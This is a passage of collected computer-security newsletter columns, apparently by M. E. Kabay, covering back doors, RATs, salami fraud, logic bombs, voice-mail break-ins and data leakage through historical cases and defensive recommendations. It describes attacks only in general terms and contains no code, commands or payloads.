One tool that is used by the US Department of Defense for wiping disks is CleanDrive < http://www.whitecanyon.com/cleandrive_main_fdisk.htm >. The documentation specifies that the product genuinely wipes all data from a hard drive, regardless of operating system and format. The tool can even be run from a boot disk. It is licensed to individual technicians rather than to specific PCs, thus making it ideal for corporate use. [I have no involvement with CleanDrive or its makers and this reference does not constitute an endorsement.]

File shredder programs are a double-edged sword. They allow honest employees to obliterate company-confidential data from disks but they also allow dishonest employees to obliterate incriminating information from disks. One program review includes the words, "The program's even got a trial copy you can download for free. So try it out and get those... ummm... errr... personal files off your work PC before the boss sends his computer gurus out to check your machine." This advice is clearly not directed at system administrators or to honest employees.

Telling the difference between the good guys and the bad guys is a management issue and has been discussed in previous articles published in this newsletter. However, as a precaution, I recommend that corporate policies specifically forbid the installation of file-shredder programs on corporate systems without authorization.

One quick note about magnetic tapes: beware the scratch tape. In older environments where batch processing still uses tapes as intermediate storage space during jobs, it is customary to have a rack of "scratch" tapes that can be used on demand by any application or job. There have been documented cases in which data thieves regularly _read_ scratch tapes to scavenge left-over data from competitors or for industrial espionage. Scratch tapes should be erased before being re-used.

As for broken or obsolete magnetic media such as worn-out diskettes, used-up magnetic tapes and dead disk drives, the worst thing to do is just to throw this stuff into the regular garbage. Security experts recommend physical destruction of such media using band saws, industrial incineration services capable of handling potentially toxic emissions and even sledge hammers.

In conclusion, all of us need to think about the data residues that are exposed to scavengers. Whether you work in a mainframe shop or a PC environment, whether your organization is a university or a vulture capitalist firm, it's hard to carrion when data scavengers steal our secrets.

Back Doors (1):
Secret Access

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In the 1983 movie, _War Games_, directed by John Badham, a young computer cracker (played by a very young Matthew Broderick) becomes interested in breaking through security on a computer system he's located by automatic random dialing ("war dialing") of telephone numbers. Thinking that he's cracking into a video-game site, he eventually manages to break security by locating a secret password that gives him the power to bypass normal limitations. He goes on to play Global Thermonuclear War--which nearly results in the real thing.

The unauthorized, undocumented part of the source code which bestows special privileges is, in the language of computer security, a "back door," sometimes called a "trap door." A back door will not necessarily cause harm by itself; it merely allows access to program functions – including normal functions – by breaching normal access controls.

Why would anyone install a back door in a program?

In cases where the culprit means no harm, back doors are leftovers from the development and testing phases of software development. When functions are deep in nested series of commands or screens, programmers often insert a shortcut that lets them go directly to a specific function or screen so they can continue testing from that point rather than having to go through the entire sequence of data entry, menu-item selection, and so on. Such shortcuts can significantly shorten testing time for those people unfortunate enough still to be using manual quality assurance techniques (as opposed to automated testing).

The problem occurs when the programmers forget to remove the back doors. When this happens, a poorly-tested program can enter production (use for real business or distribution to real customers) with a dangerous, undocumented feature that can bypass normal restrictions such as edit checks during data entry. Back doors of this kind sometimes result in data corruption, as when a database program allows someone to short-circuit the usual validation of entered data and simply lets a user cut directly to an update function that happens to have bad data in the input buffers.

Back doors are part of a program; they are distinguished from Trojan Horses, which are programs with a covert purpose. A Trojan Horse is a program which has undocumented or unauthorized functions that can cause harm during normal usage by innocent users as well as by criminals. Thus many Trojan Horse programs have back doors, but back doors may exist in programs that would not usually be described as Trojan Horses. A specific kind of Trojan Horse program is known as an Easter Egg; this is usually an undocumented game or display intended by its authors to be harmless. Unfortunately, due to poor programming or software incompatibilities that develop as operating systems change, Easter Eggs can also cause major problems such as system lockups or crashes. All Easter Eggs depend on back doors – usually undocumented keystroke sequences – to be invoked.

In the next installment of this short series, I will give examples of some classic back doors.

Back Doors (2):
Examples of Back Doors

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Back doors (or _trap-doors_ as they are often known) have been known for decades. As Willis Ware pointed out in 1970, "Trap-door entry points often are created deliberately during the design and development stage to simplify the insertion of authorized program changes by legitimate system programmers, with the intent of closing the trap-door prior to operational use. Unauthorized entry points can be created by a system programmer who wishes to provide a means for bypassing internal security controls and thus subverting the system. There is also the risk of implicit trap-doors that may exist because of incomplete system design – i.e., loopholes in the protection mechanisms. For example, it might be possible to find an unusual combination of system control variables that will create an entry path around some or all of the safeguards."

Early experiments in cracking the MULTICS operating system developed by Honeywell Inc. and the Massachusetts Institute of Technology located back doors in that environment in trials from 1972 to 1975, allowing the researchers to obtain maximum security capabilities on several MULTICS systems (see Karger & Schell for details).

In 1980, Philip Myers described the insertion and exploitation of back doors as "subversion" in his MSc thesis at the Naval Postgraduate School. He pointed out that subversion, unlike penetration attacks, can begin at any phase of the system development life cycle, including design, implementation, distribution, installation and production.
Donn B. Parker described interesting back-door cases in some papers (no longer available) from the 1980s. For example, a programmer discovered a back door left in a FORTRAN compiler by the writers of the compiler. This section of code allowed execution to jump from a regular program file to code stored in a data file. The criminal used the back door to steal computer processing time from a service bureau so he could execute his own code at other users' expense. In another case, remote users from Detroit used back doors in the operating system of a Florida time-sharing service to find passwords that allowed unauthorized and unpaid access to proprietary data and programs.

Even the US government has attempted to insert back doors in code: In September 1997, Congress' proposed legislation to ban domestic US encryption unless the algorithm included a back door allowing decryption on demand by law enforcement authorities moved famed Ron Rivest to satire. The famed co-inventor of the Public Key Cryptosystem and founder of RSA Data Security Inc. pointed out that some people believe the Bible contains secret messages and codes, so the proposed law would ban the Bible.

More recently, devices using the Palm operating system (PalmOS) were discovered to have no effective security despite the password function. Apparently developer tools supplied by Palm allow a back-door conduit into the supposedly locked data.

Distributed denial-of-service (DDoS) zombie or slave programs are examples of a type of back door, although they don't offer total control of the contaminated system. These tools allow the user of a master or controller program to issue (usually) encrypted messages that direct a stream of packets at a designated IP address at a specific time; with hundreds or thousands of such infected systems responding all at once, almost any target on the Internet can be swamped. I wrote about DDoS last year and the articles are available in the archive at Network World Fusion.

In the next article in this series, I will look at dangerous software that can install back doors: RATs (Remote Administration Trojans).

Back Doors (3):
RATs

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Back doors may be installed by Trojan Horse programs. For example, in July 1998, The Cult of the Dead Cow (cDc) announced Back Orifice (BO), a tool for analyzing and compromising MS-Windows security (such as it be). The author, a hacker with the L0PHT group which later became part of security firm @Stake, described the software as follows (the brackets are in the original): "The main legitimate purposes for BO are remote tech support aid, employee monitoring and remote administering [of a Windows network]." However, added the cDc press release, "Wink. Not that Back Orifice won't be used by overworked sysadmins, but hey, we're all adults here. Back Orifice is going to be made available to anyone who takes the time to download it [read, a lot of bored teenagers]." Within weeks, 15,000 copies of Back Orifice were distributed to Internet Relay Chat users by a malefactor who touted a "useful" file ("nfo.zip")that was actually a Trojan infected by Back Orifice.

BO and programs like it provide back doors for malefactors to invade a victim's computer. Once the Bad Guy has seized control of the system, functions available include keystroke logging, real-time viewing of what's on the monitor, screen capture, and full read/write access to all files and devices.

Today, such programs are known as RATs (Remote Administration Trojans). The PestPatrol Glossary provides this useful information [MK note: I have changed "trojan" to "Trojan" in what follows]:

>RAT: A Remote Administration Tool, or RAT, is a Trojan that when run, provides an attacker with the capability of remotely controlling a machine via a "client" in the attacker's machine, and a "server" in the victim's machine. Examples include Back Orifice, NetBus, SubSeven, and Hack'a'tack. What happens when a server is installed in a victim's machine depends on the capabilities of the Trojan, the interests of the attacker, and whether or not control of the server is ever gained by another attacker -- who might have entirely different interests.

Infections by remote administration Trojans on Windows machines are becoming more frequent. One common vector is through File and Print Sharing, when home users inadvertently open up their system to the rest of the world. If an attacker has access to the hard-drive, he/she can place the Trojan in the startup folder. This will run the Trojan the next time the user logs in. Another common vector is when the attacker simply e-mails the Trojan to the user along with a social engineering hack that convinces the user to run it against their better judgment."<

RATs are frequently distributed as part of "Trojanized" applications such as WinAMP as well as in data files for (especially) pornographic pictures and MP3 sound files. Once executed or loaded, such infected files quietly install the RAT and sometimes signal a base station to inform it of the IP address of yet another victim.

There are currently over 300 RATs listed and removed by PestPatrol. For a more extensive research paper on RATs, see the PestPatrol White Paper.

* * *

The next article in this series will focus on preventing back doors from being included in source code.

Back Doors (4):
Testing Source Code

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In this series of articles, we've been looking at undocumented and unauthorized methods for gaining access to systems. In this article, I summarize some basic approaches to preventing back doors in source code. Network managers may not be directly involved in software quality assurance, but it would be a Good Thing to make sure that the quality assurance folks in your shop are aware of and implementing these principles before you install their software on production systems and networks.

* * *

Documentation standards are not merely desirable; they can make back doors difficult to include in production code. Deviations from such standards may alert a supervisor or colleague that all is not as it seems in a program. Using team programming (more than one programmer responsible for any given section of code) and walkthroughs (following execution through the code in detail) will also make secret functions very difficult to hide.

During code walkthroughs and other quality-assurance procedures, the search for back doors should include the following:

* Undocumented code

* Undocumented embedded alphanumerics

* Peculiar entry points

* Unexplained functions

* Code not executed during testing.

Every line of code in a program must make sense for the ostensible application. All alphanumerics in source code have to make sense; a more difficult problem is dealing with numeric codes which may have a hidden meaning. Every entry point for a compiled program must make sense in the programming context.

Every line of code must be exercised during system testing. Test-coverage (sometimes called "code coverage analysis") monitors show which lines of source code have been executed during system tests. Such programs identify the percentage of code that is executed by a test or series of tests of programs written in a wide range of programming languages; however, each programming language may require its own test-coverage tool. The monitors usually identify which lines of source code correspond to the object code executed during the tests and which were left unexecuted. They can also count the number of times that each line is executed. Finally, test-coverage monitors may provide a detailed program trace showing the path taken at

each branch and conditional statement.

It would be nice if the major software vendors who provide operating systems and utilities were also aware of these principles. Certainly some of the quality-assurance teams at Microsoft must not have been applying such tools diligently in recent years. For example, in Excel 2000, you can activate a spy hunter game that uses DirectX for graphics < http://www.eeggs.com/items/8240.html >; in Excel 97 and later, you can load an unauthorized flight simulator < http://www.eeggs.com/items/29841.html >.

In the next and final article in this series, I'll review methods for spotting remote administration Trojans (RATs) while they try to install themselves and finish with a note on getting rid of RATs.

* * *

Voice Mail Security

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

On Wednesday April 10, 2002, The San Jose Mercury News reported that a voice-mail message from Hewlett-Packard Chairperson and Chief Executive Officer Carleton S. ("Carly") Fiorina to Chief Financial Officer Robert Wayman had been leaked to one of the newspaper's reporters. The particulars of this case are not significant for today's column, but anyone interested in the gory details can just type "Carly Fiorina HP voice mail" into a search engine for more than you are likely to want (GOOGLE.COM produced _pages_ of references to the incident). This case of data leakage should remind network managers that protecting information stored in a voice-mail system should be part of the enterprise systems security mandate. After all, clients can leave orders by phone; suppliers can warn of delivery delays; prospects can request information; executives can discuss highly sensitive matters.

There have been many documented cases of voice-mail penetration. For example, in the late 1980s, a New Jersey magazine publisher began receiving complaints from its customers. Voice mail messages renewing valuable and important advertising had never been heeded. Employees claimed they never received the calls at all; the voice-mail system supplier was called in for technical support but found nothing wrong. Soon, however, customers began reporting that employees' I'm-not-in-leave-me-a-message blurbs included rude and lewd language. The culprits proved to be a 14-year old and his 17-year old cousin, both residents of Staten Island who had gotten mad at the failure to receive a poster from the magazine publisher. The kids' sabotage resulted in lost revenue, loss of good will, loss of customers, expenses for time and materials from the switch vendor, and wasted time and effort by the publisher's technical staff. Total cost, according to the victim, was U$2.1 million.

In July 1996, high-school students in the San Francisco area broke into the PBX of a local manufacturing firm and attacked its voice-mail system. They erased information, changed passwords, created new accounts for their own use, and eventually crashed the system through overuse. The company spent $40,000 on technical support from an outside technician.

In November 1996, a former employee of Standard Duplicating Machines Corporation of Andover, MA pleaded guilty to using his knowledge of non-existent security on the firm's voice-mail system to retrieve sales leads and other valuable data on behalf of a direct competitor, Duplo U.S.A. Corporation. Most of the mailboxes had canonical (default) passwords (the voice-mailbox number itself – known in the trade as a "Joe" account).

In May 1997, after MI5 placed ads for recruits in Britain, 20,000 hopeful security agents called in only to hear a disconcerting message on the voice-mail system: "Hello, my name is Colonel Blotch. I am calling on behalf of the KGB. We have taken over MI5 because they are not secret any more and they are a very useless organization."

In May 1998, Michael Gallagher, a reporter for the Cincinnati Enquirer, broke into the voice mail system of Chiquita Fruits. The, ah, fruits of his espionage were stories in the paper accusing Chiquita of illegal activities. The reporter was fired; the Enquirer eventually paid

$10M to Chiquita in damages and published front-page apologies three days in a row to forestall a legal contest.

As late as May 2001, Vodafone Australia's mobile phone voice mail was using a canonical password if a user has not set one.

Recommendations:

* Warn your users never to allow their voice-mail password to be the phone number itself or any other canonical password.
* Scan your own PBX looking for those pesky Joe accounts and change them.
* Change the voice-mail password for an ex-employee's voice mail immediately upon termination.
* Turn off the remote-access features for your PBX; you can turn it on for maintenance when necessary and then disable it again.
* Make sure your PBX maintenance accounts are properly safeguarded by effective security mechanisms – tokens or biometrics identification and authentication if possible.
* Check regularly to be sure no one has inserted unauthorized voice-mail boxes on your system.

The bottom line: secure your PBX and voice-mail systems with the same attention that you apply to any other computer-based system you care about.

Salami Fraud

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

One type of computer crime that gets mentioned in introductory courses or in conversations among security experts is the salami fraud. In the salami technique, criminals steal money or resources a bit at a time. Two different etymologies are circulating about the origins of this term. One school of security specialists claim that it refers to slicing the data thin – like a salami. Others argue that it means building up a significant object or amount from tiny scraps – like a salami.

The classic story about a salami attack is the old “collect-the-roundoff” trick. In this scam, a programmer modifies the arithmetic routines such as interest computations. Typically, the calculations are carried out to several decimal places beyond the customary 2 or 3 kept for financial records. For example, when currency is in dollars, the roundoff goes up to the nearest penny about half the time and down the rest of the time. If the programmer arranges to collect these fractions of pennies in a separate account, a sizable fund can grow with no warning to the financial institution.

More daring salamis slice off larger amounts. The security literature includes case studies in which an embezzler removed $0.20 to $0.30 from hundreds of accounts two or three times a year. These thefts were not discovered or reported: most victims wouldn't bother finding the reasons for such small discrepancies. Other salamis have used bank service charges – increasing the cost of a check by $0.05, for example.

In another scam, two programmers made their payroll program increase the federal withholding amounts by a few cents per pay period for hundreds of fellow employees. The excess payments were credited to the programmers' withholding accounts instead of to the victims' accounts. At income-tax time the following year, the thieves received fat refunds from Internal Revenue.

In January 1993, four executives of a rental-car franchise in Florida were charged with defrauding at least 47,000 customers using a salami technique. The federal grand jury in Fort Lauderdale claimed that the defendants modified a computer billing program to add five extra gallons to the actual gas tank capacity of their vehicles. From 1988 through 1991, every customer who returned a car without topping it off ended up paying inflated rates for an inflated total of gasoline. The thefts ranged from $2 to $15 per customer – rather thick slices of salami but nonetheless difficult for the victims to detect.

In January 1997, "Willis Robinson, 22, of Libertytown, Maryland, was sentenced to 10 years in prison (6 of which were suspended) for having reprogrammed his Taco Bell drive-up-window cash register -- causing it to ring up each $2.99 item internally as a 1-cent item, so that he could pocket $2.98 each time. He amassed $3600 before he was caught." Another correspondent adds that management assumed the error was hardware or software and only caught the perpetrator when he bragged about his crime to co-workers." (Peter G. Neumann writing in RISKS 18.75).

In Los Angeles in October 1998, the district attorneys charged four men with fraud for allegedly

installing computer chips in gasoline pumps that cheated consumers by overstating the amounts pumped. The problem came to light when an increasing number of consumers charged that they had been sold more gasoline than the capacity of their gas tanks. However, the fraud was difficult to prove initially because the perpetrators programmed the chips to deliver exactly the right amount of gasoline when asked for five- and ten-gallon amounts – precisely the amounts typically used by inspectors.

Unfortunately, salami attacks are designed to be difficult to detect. The only hope is that random audits, especially of financial data, will pick up a pattern of discrepancies and lead to discovery. As any accountant will warn, even a tiny error must be tracked down, since it may indicate a much larger problem. For example, Cliff Stoll's famous adventures tracking down spies in the Internet began with an unexplained $0.75 discrepancy between two different resource accounting systems on UNIX computers at the Keck Observatory of the Lawrence Berkeley Laboratories. Stoll's determination to understand how the problem could have occurred revealed an unknown user; investigation led to the discovery that resource-accounting records were being modified to remove evidence of system use. The rest of the story is told in Stoll's book, _The Cuckoo's Egg_ (1989, Pocket Books: Simon & Schuster, New York – ISBN 0-671-72688-9).

If more of us paid attention to anomalies, we'd be in better shape to fight the salami rogues. Computer systems are deterministic machines – at least where application programs are concerned. Any error has a cause. Looking for the causes of discrepancies will seriously hamper the perpetrators of salami attacks. From a systems development standpoint, such scams reinforce the critical importance of sound quality assurance throughout the software development life cycle.

Moral: don't ignore what appear to be errors in computer-based financial or other accounting systems.

Logic Bombs (1):
Dangerous Cargo

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

A logic bomb is a program which has deliberately been written or modified to produce results when certain conditions are met that are unexpected and unauthorized by legitimate users or owners of the software. Logic bombs may be within standalone programs or they may be part of worms (programs that hide their existence and spread copies of themselves within a computer systems and through networks) or viruses (programs or code segments which hide within other programs and spread copies of themselves).

An example of a logic bomb is any program which mysteriously stops working three months after, say, its programmer's name has disappeared from the corporate salary database.

In 1985, a disgruntled computer security officer at an insurance brokerage firm in Texas set up a complex series of Job Control Language (JCL) and RPG (an old programming language) programs described later as “trip wires and time bombs.” For example, a routine data retrieval function was modified to cause the IBM System/38 midrange computer to power down. Another routine was programmed to erase random sections of main memory, change its own name, and reset itself to execute a month later.

In 1992, a computer programmer was fined $5,000 for leaving a logic bomb at General Dynamics. His intention was to return after his program had erased critical data and get paid lots of money to fix the problem.

Time bombs

Time bombs are a subclass of logic bombs which “explode” at a certain time. Some of the first viruses, written in the 1980s, were time bombs. For example, the infamous Friday the 13th virus was a time bomb: it duplicated itself every Friday and on the 13th of the month, causing system slowdown. In addition, on every Friday the 13th, it also corrupted all available disks. The Michelangelo virus from the early 1990s – one of the first viruses to make it into public consciousness because of news coverage -- tried to damage hard disk directories on the 6th of March. The Win32.Kriz.3862 virus, discovered in 1999, detonates on Christmas day; its payload includes massive overwriting of data on all data storage units and also damage to the BIOS.

In 2000, a Stamford, CT, was indicted in NY State Supreme Court in Manhattan on charges of unauthorized modifications to a computer system and grand larceny. The defendant worked for Deutsche Morgan Grenfell Inc. from 1996 as a programmer. By the end of 1996, he became a securities trader. The indictment charged that he inserted a programmatic time bomb into a risk model on which he worked as a programmer; the trigger date was July 2000. The unauthorized code was discovered by other programmers, who apparently had to spend months repairing the program because of the unauthorized changes the defendant allegedly inserted.

Arbitrary Code

Logic bombs can be installed on a victim’s system from outside, too. Many buffer overflows allow what the alert agencies (e.g., CERT/CC) call “execution of arbitrary code.” It is possible

for malicious code (e.g., ActiveX, Java, and even HTML) to cause external code to be downloaded to a victimized machine; at that point, anything can happen. Malicious programs can not only take immediate action (e.g., sending spam with forged headers) but also lie quiescent until specific conditions are met; i.e., they can be logic bombs.

Logic Bombs (2):
Bombs Away

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In the first article in this series, we looked at logic bombs and time bombs installed by insiders.

It is very difficult to stop a determined inside attacker from modifying production code to install logic bombs. Preventing such bombs requires a thoroughgoing commitment to quality assurance and strict separation of duties. Here are some well-known principles for making the logic bomber's task more difficult:

* Segregate operations from programming and testing.

* Institute a carefully controlled process for moving code into production.

* Only operations staff should have write-access to production code.

* Lock down your production code – source and executable – so that it is as close to impossible as you can get for
unauthorized people (users, programmers, anyone) to modify programs.

* Assign responsibility for specific production programs to named positions in operations.

* Develop and maintain a list of authorized programmers who are allowed to request implementation of changes to
production programs.

* Require authorization from the authorized quality assurance officer before accepting changes to production.

* Keep records of exactly which modifications were installed when at whose request.

* Use hash functions on entire files in the production library.

* Recompute all hashes against a secure table to ensure that no one has altered production files without authorization and documentation.

* Keep audit trails running at all times so that you can determine exactly which user modified which file and when.

* If possible, ensure that audit trails include chained hash functions. That is, the checksum on each record (which must include a timestamp) is calculated not only on the basis of the record itself but also using as input the checksum from the previous record. Modifying such an audit trail is much more complicated than simply using a disk editor to alter data in one or two records.

* Back up your audit files and keep them under high security.

For much more detailed analysis of how to safeguard production software, see the following chapters in the Computer Security Handbook, 4th Edition:

25 Software development and QA (Levine)
32 Operations security and production controls (Walsh & Kabay)
36 Auditing computer security (Levine)
38 Monitoring and control systems (Levine)
39 Application controls (Walsh)

In the next of these four articles, we'll look at logic bombs that are installed by consultants and at software license timeouts.

Logic Bombs (3):
Time Bombs in Contract & Commercial Software

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In the previous two articles of this four-part series, we have looked at logic bombs installed by insiders and some basic principles for stopping them.

Today's software is often provided by external suppliers. Individual contractors and small software firms continue to play an important role in creating systems especially designed to support the essential operations of countless organizations. Larger firms provide commercial off-the-shelf (COTS) software to millions of users.

In the movie *Single White Female*, the protagonist is a computer programmer who works in the fashion industry. She designs a new graphics program that helps designers visualize their new styles and sells it to a sleazy company owner who tries to seduce her. When she rejects his advances, he fires her without paying her final invoice. However, the programmer has left a time bomb which explodes shortly thereafter, wiping out all the owner's data. This is represented in the movie as an admirable act.

In online discussions, I have read communications from several consultants who brazenly admitted that they always leave secret time bombs in their software until they receive the final payment. They seemed to think that this strategy was a legitimate bargaining chip in their relationships with their customers.

In reality, such tricks can land software suppliers in court.

In 1988, a software firm contracted with an Oklahoma trucking firm to write them an application system. Some time later, the two parties disagreed over the quality of the work. The client withheld payment, demanding that certain bugs be fixed. The vendor threatened to detonate a logic bomb which had been implanted in the programs some time before the dispute unless the client paid its invoices. The client petitioned the court for an injunction to prevent the detonation and won its case on the following grounds:

- The bomb was a surprise--there was no prior agreement by the client to such a device.
- The potential damage to the client was far greater than the damage to the vendor.
- The client would probably win its case denying that it owed the vendor any additional payments.

I urge all programmers and contractors to stay away from these dishonest practices. More practically, I urge all clients of software contractors to be sure that their contracts explicitly bar any such mechanism for retaliation. The correct approach to avoiding this kind of fracas is to choose contractors with good reputations and to keep the lines of communication open at all times so that problems don't escalate into warfare, covert or overt. It's much better to pay lawyers to prevent lawsuits than it is to pay them to fight them.

In the last of these four articles, I'll discuss renewable, time-limited licenses for commercial

software.

Logic Bombs (4):
Software Timeouts

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In the first three of this four-part series on logic bombs, we have looked at illegitimate bombs. In this article, I want to draw your attention to software that is sold with a time-limited license (e.g., a year of use).

In a way, a legitimate version of the time-bomb is the openly time-limited program. One purchases a yearly license for use of a particular program; at the end of the year, if one has not made arrangements with the vendor, the program times out. That is, it no longer functions. When the license is renewed, the vendor either sends a new copy of the program (source or executable), sends instructions for patching the program (that is, how to perform the necessary modifications directly in the executable code) or dials up the client's system by modem and makes the updates or patches directly.

Such programs are time bombs as long as the license contract clearly specifies that there is a time limit beyond which the program will not function properly. However, a time-limited program can cause major problems if the vendor refuses to update the program to ensure continued correct operations – e.g., to run on newer versions of the operating system. Even worse, the vendor may go out of business altogether, leaving the customer in a bind.

My feeling is that if you are paying to have software developed, you should refuse all time-outs. If you do agree to time limits on your use of a program, you should require the source code to be left in escrow with a legal firm or bank with authorization to let you maintain (change) the code if the vendor goes out of business or refuses to continue supporting the code. Don't forget to include the requirement that the vendor indicate the precise compiler version required to produce functional object code identical to what you plan to use.

With these measures in place, perhaps you will be able to keep production stable while you move to a different software suite with proper support.

However, if you are using off-the-shelf software such as utilities, accounting packages and so on, you will probably never get permission to have the source code, in escrow or otherwise. Realistically, if there’s no practical alternative, you may have to let the vendor insist on timeouts--provided the terms are made explicit and you know what you're getting into. Personally, when using such code for production, I would be scouting for alternatives all the time to be sure that disappearance of the vendor or removal of the product from the active list does not cripple operations.

In summary, if a vendor's program stops working with a message stating that it has timed out, your software contract must stipulate that your license applies to a certain period of use. If it does not, your vendor is probably contractually obligated to correct the time bomb and allow you to continue using your copy of the program. [Mandatory disclaimer: I am not a lawyer and this is not legal advice. For legal advice consult an attorney with expertise in this area of law who is permitted to practice law in your jurisdiction.]

By now, I hope that readers will be thinking of the well-publicized plans by Microsoft to switch from an unlimited-time license for its software to a system of yearly renewals. Such contracts have been commonplace in the world of mainframe and mini-computers, but the shift will

surprise ordinary users who still think they are “buying” a computer program (they aren’t).

Although the benefits of this model to the software supplier are evident, clients should evaluate the costs and benefits of putting their critical production at risk by depending on software controlled by supplier who can unilaterally decide to change the costs, features, and even continued availability of an essential tool.

Microsoft’s strategy may backfire by pushing some of its customers to alternative operating systems and applications.

Mission Impossible: Stopping Data Leakage (1)

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

As regular readers know by now, information security assurance must include protection of data confidentiality, possession, integrity, authenticity, availability and utility. Perhaps the most insidious breach of confidentiality and possession of sensitive or proprietary data is unauthorized copying. This is hardly a new problem; physical security applied to written records is as old as writing. The Caesar cipher, designed to protect military information in transit from commanders to field officers, is more than 2,000 years old In more recent times, people have been copying data from computer systems for decades. For example, in the early 1970s, three computer operators stole copies of 3 million customer names from the Encyclopedia Britannica; estimated commercial value of the names was $1 million at the time. Many other cases of outright data theft are well known; some examples are as follows:

- Employees have sold documentation about tax audit procedures to help unscrupulous buyers reduce the risks of being audited;
- Police officer have sold computerized criminal records to criminals;
- Records about sick people have been obtained from health services organizations and sold to to drug companies;
- Subscribers' credit card data have been stolen from many organizations and used for fraud.

This loss of control over confidential information is known as _data leakage_. It's a very difficult problem, and it is probably impossible to stop altogether, even in theory. Most operating systems (although not Windows 9x) can enforce restrictions based on access-control lists; one can easily define lists of authorized people for specific resources (data or devices) and prevent others from accessing those resources. Even more restrictively, some high-security operating systems typically used for government and military work enforce security policies using compartmentalized security levels; for example, they make it impossible to copy a file from a higher-security partition to a lower-security partition such as a removable disk.

The fundamental difficulty, though, is that no operating system in the world can distinguish between an honest authorized user and a dishonest authorized user. An authorized user is going to be able to bypass even the best automated restrictions because there are so many covert channels for transmitting information out of a secured area.

* * *

In the next article in this occasional series on computer crime techniques, I'll look at the easy availability of portable data storage media and their implications for data theft.

* * *

University; see < http://www.norwich.edu/msia > for full details.

M. E. Kabay, PhD, CISSP is Associate Professor in the Department of Computer Information Systems at Norwich University in Northfield, VT. Mich can be reached by e-mail at < mkabay@norwich.edu >; Web site at < http://www.mekabay.com/index.htm >.

Mission Impossible: Stopping Data Leakage (2)

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In the previous article in this series, I looked at some of the difficulties we face in preventing unauthorized copying of sensitive data. In this article, I review the problems caused by easy access to portable data storage media.

* * *

If there are no barriers to file copying onto removable media, data thieves have a wealth of options. The problem is made worse by the ubiquity of laptop computers, which are so common now as to be almost unnoticed by physical security personnel. Since today's laptops can be equipped with disk drives approaching 100 GB and most have high-speed LAN connections, the potential for data theft is enormous. In addition, inexpensive, pocket-sized ZIP diskettes can hold more 100 or 250 MB of data; CD-ROMs, removable cartridges and DVDs can hold gigabytes. My wife just bought an external disk drive for her Mac; it fits in a roomy briefcase, costs $189 and holds 80 GB [a quick note to tickle younger readers: it's the same physical size as the 5 MB – yes, MB – external hard drive I bought in 1984 for $2,000). Some PC cards hold hundreds of MBs of data. Worse still, there are key-fob sized storage devices that fit on Universal Serial Bus (USB) ports and that have similar capacities. It would make sense for security guards protecting high-security areas to check for all such media and verify that anyone removing them has written authorization to do so. Realistically, though, there's no way that ordinary firms are going to demand that employees empty their pockets to prove they're not carrying electronic key fobs. In any case, regardless of thorough screening of media, the problem of dishonest authorized people comes up again: there's no practical way for security guards to be sure that the _data_ on the portable media are permitted off-premises.

Electronic loss of control over sensitive data is increasingly easy. Not only do many organizations fail to impose firewall filtering rules on _outbound_ transmissions (thus potentially permitting export of confidential data), but many users who carry sensitive data out of the office on their portable computers don't have any firewalls for these computers that they connect to cable modems and satellite systems. Without firewalls on those computers, Trojan Horse programs and e-mail enabled worms can easily send confidential data out onto the 'Net at odd moments.

In all of these cases, the easy availability of encryption is a mixed blessing; ciphertext protects data against unauthorized disclosure, but it also makes inspection a lot harder.

The best we can do to fight data leakage in the real world is to apply everything we know about defense in depth. In addition to all the technical defenses appropriate for a particular organization, we have to provide the additional but essential protection of sound personnel management policies and good facilities security personnel and procedures.

Unfortunately, the fact is that a determined attacker is almost certain to succeed no matter what we do. As a last resort, after all, a human being can simply _remember_ sensitive data. The

only attack against that covert channel is the one that has affecting me lately: getting older.

Now what was I saying?

* * *

In the next column in this occasional series on computer crime techniques, I'll look more closely at other covert channels that may unfortunately facilitate data leakage.

* * *

Mission Impossible: Stopping Data Leakage (3)

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In the previous article in this series, I looked at some of the problems caused by easy access to portable data storage media. In this article, I review covert channels that may unfortunately facilitate data leakage.

* * *

Alas, there are more subtle ways of stealing information than copying them onto a removable medium. Security specialists have long pointed out that information can be carried in many ways, not just through obvious electronic or paper copies. For example, a programmer may realize that she will not have access to production data, but the programmer's programs will. So she can insert instructions which modify obscure portions of the program's output to carry information. Insignificant decimal digits (e.g., the 4th decimal digit in a dollar amount) can be modified without exciting suspicion. Such methods of hiding information in innocuous files and documents are collectively known as “steganography.” The most popular form of steganography these days seems to involve tweaking bits in graphics files so that images can carry hidden information.

Even small amounts of information can sometimes provide a covert channel for data leakage. Information can be conveyed by any controllable multi-state phenomenon, including binary operations; i.e., anything that has at least two states can transmit the knowledge being stolen. For instance, one could transmit information via tape movements, printer movements, lighting up a signal light, and so on.

An alternative to encryption is encoding; i.e., agreements on the specific meaning of particular data. A code book can turn any letter, word or phrase into a meaningful message. Consider for example, "One if by land, two if by sea." Unless the code book is captured, coded messages are difficult (bit not always impossible) to detect and block. If there are large quantities of suspect messages in natural language, it _may_ be possible to spot something odd if the frequencies of unusual words or curious phrases is higher than expected. Even so, spotting such covert channels may still not reveal the actual messages being transmitted.

Bluntly, the wide variety of covert channels of communication make it impossible to stop data leakage. The best one can do is to reduce the likelihood of such data theft through code developed in-house is by enforcing strong quality assurance procedures on all such code. For example, if there are test suites which are to produce known output, even fourth decimal point deviations can be spotted. This kind of precision, however, absolutely depends on automated quality assurance tools. Manual inspection is not reliable.

The same preventive measures applied to detect Trojans and bombs can help stop data leakage. Having more than one programmer be responsible for each program can make criminality impossible without collusion--always a risk for the criminal. Random audits can make increase the risk of making improper subroutines visible. Walkthroughs force each programmer to explain

